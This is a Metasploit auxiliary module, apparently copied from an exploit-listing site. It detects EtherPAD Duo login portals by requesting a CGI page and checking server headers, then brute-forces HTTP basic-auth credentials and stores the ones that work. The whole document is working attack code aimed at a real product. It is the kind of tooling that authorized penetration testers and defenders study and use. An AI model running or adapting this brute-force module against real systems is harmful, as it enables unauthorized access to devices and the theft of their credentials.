Exploit for EtherPAD Duo Login Bruteforce Utility

## https://sploitus.com/exploit?id=PACKETSTORM:181179
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'EtherPAD Duo Login Bruteforce Utility',  
'Description' => %{  
This module scans for EtherPAD Duo login portal, and  
performs a login bruteforce attack to identify valid credentials.  
},  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',  
],  
'License' => MSF_LICENSE  
))  
  
deregister_options('HttpUsername', 'HttpPassword')  
end  
  
def run_host(ip)  
unless is_app_epaduo?  
return  
end  
  
print_status("Starting login bruteforce...")  
each_user_pass do |user, pass|  
do_login(user, pass)  
end  
end  
  
#  
# What's the point of running this module if the target actually isn't EtherPAD Duo  
#  
  
def is_app_epaduo?  
begin  
res = send_request_cgi(  
{  
'uri' => normalize_uri('/', 'CGI', 'mParseCGI'),  
'method' => 'GET',  
'vars_get' => {  
'file' => 'mainpage.html'  
}  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
vprint_error("HTTP Connection Failed...")  
return false  
end  
  
if (res and res.code == 200 and res.headers['Server'] =~ /EtherPAD/ and res.body.include?("EtherPAD Duo"))  
vprint_good("Running EtherPAD Duo application ...")  
return true  
else  
vprint_error("Application is not EtherPAD Duo. Module will not continue.")  
return false  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: (ssl ? 'https' : 'http'),  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
#  
# Brute-force the login page  
#  
  
def do_login(user, pass)  
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")  
  
begin  
res = send_request_cgi(  
{  
'uri' => normalize_uri('/', 'config', 'configindex.ehtml'),  
'method' => 'GET',  
'authorization' => basic_auth(user, pass)  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
vprint_error("HTTP Connection Failed...")  
return :abort  
end  
  
if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD")  
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")  
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)  
return :next_user  
else  
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")  
end  
end  
end